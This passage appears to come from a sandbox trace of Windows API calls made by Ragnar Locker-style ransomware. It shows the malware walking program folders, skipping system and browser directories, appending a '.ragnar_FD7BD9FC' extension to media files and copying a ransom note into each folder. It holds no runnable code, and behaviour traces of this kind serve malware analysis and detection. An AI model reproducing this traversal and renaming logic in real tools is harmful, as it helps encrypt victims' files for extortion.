Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.159] CloseHandle (hObject=0xffffffff) returned 0 [0079.159] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" [0079.159] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv.ragnar_FD7BD9FC" [0079.159] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.159] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0079.159] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.159] lstrcpyW (in: lpString1=0x1eab52, lpString2="Scenes_INTRO_BG_PAL.wmv" | out: lpString1="Scenes_INTRO_BG_PAL.wmv") returned="Scenes_INTRO_BG_PAL.wmv" [0079.159] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned=".wmv" [0079.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.160] CloseHandle (hObject=0xffffffff) returned 0 [0079.160] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" [0079.160] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.ragnar_FD7BD9FC" [0079.160] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.161] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0079.161] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.161] lstrcpyW (in: lpString1=0x1eab52, lpString2="Scenes_LOOP_BG.wmv" | out: lpString1="Scenes_LOOP_BG.wmv") returned="Scenes_LOOP_BG.wmv" [0079.161] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned=".wmv" [0079.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.161] CloseHandle (hObject=0xffffffff) returned 0 [0079.161] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" [0079.161] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv.ragnar_FD7BD9FC" [0079.161] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.161] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0079.161] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.161] lstrcpyW (in: lpString1=0x1eab52, lpString2="Scenes_LOOP_BG_PAL.wmv" | out: lpString1="Scenes_LOOP_BG_PAL.wmv") returned="Scenes_LOOP_BG_PAL.wmv" [0079.161] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned=".wmv" [0079.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.162] CloseHandle (hObject=0xffffffff) returned 0 [0079.162] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" [0079.162] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv.ragnar_FD7BD9FC" [0079.162] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.162] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1 [0079.162] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.162] lstrcpyW (in: lpString1=0x1eab52, lpString2="Title_Page_Ref.wmv" | out: lpString1="Title_Page_Ref.wmv") returned="Title_Page_Ref.wmv" [0079.162] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned=".wmv" [0079.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.162] CloseHandle (hObject=0xffffffff) returned 0 [0079.162] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" [0079.162] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv.ragnar_FD7BD9FC" [0079.162] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.162] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1 [0079.163] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.163] lstrcpyW (in: lpString1=0x1eab52, lpString2="Title_Page_Ref_PAL.wmv" | out: lpString1="Title_Page_Ref_PAL.wmv") returned="Title_Page_Ref_PAL.wmv" [0079.163] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv") returned=".wmv" [0079.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.163] CloseHandle (hObject=0xffffffff) returned 0 [0079.163] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" [0079.164] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv.ragnar_FD7BD9FC" [0079.164] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.164] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0 [0079.164] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0079.164] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2=".") returned 1 [0079.164] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="..") returned 1 [0079.164] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0079.164] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2=".") returned 1 [0079.164] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="..") returned 1 [0079.164] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0079.164] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2=".") returned 1 [0079.164] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="..") returned 1 [0079.164] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.164] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2=".") returned 1 [0079.164] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="..") returned 1 [0079.164] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.164] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2=".") returned 1 [0079.164] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="..") returned 1 [0079.164] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0079.164] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2=".") returned 1 [0079.164] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="..") returned 1 [0079.164] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0079.164] lstrcmpiW (lpString1="Push", lpString2=".") returned 1 [0079.164] lstrcmpiW (lpString1="Push", lpString2="..") returned 1 [0079.164] lstrcmpiW (lpString1="Push", lpString2="Windows") returned -1 [0079.164] lstrcmpiW (lpString1="Push", lpString2="Windows.old") returned -1 [0079.164] lstrcmpiW (lpString1="Push", lpString2="Tor browser") returned -1 [0079.165] lstrcmpiW (lpString1="Push", lpString2="Internet Explorer") returned 1 [0079.165] lstrcmpiW (lpString1="Push", lpString2="Google") returned 1 [0079.165] lstrcmpiW (lpString1="Push", lpString2="Opera") returned 1 [0079.165] lstrcmpiW (lpString1="Push", lpString2="Opera Software") returned 1 [0079.165] lstrcmpiW (lpString1="Push", lpString2="Mozilla") returned 1 [0079.165] lstrcmpiW (lpString1="Push", lpString2="Mozilla Firefox") returned 1 [0079.165] lstrcmpiW (lpString1="Push", lpString2="$Recycle.Bin") returned 1 [0079.165] lstrcmpiW (lpString1="Push", lpString2="ProgramData") returned 1 [0079.165] lstrcmpiW (lpString1="Push", lpString2="All Users") returned 1 [0079.165] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.165] lstrcpyW (in: lpString1=0x1eb620, lpString2="Push" | out: lpString1="Push") returned="Push" [0079.165] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\" [0079.165] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\" [0079.165] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\RGNR_FD7BD9FC.txt" [0079.165] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.169] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*" [0079.169] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.169] 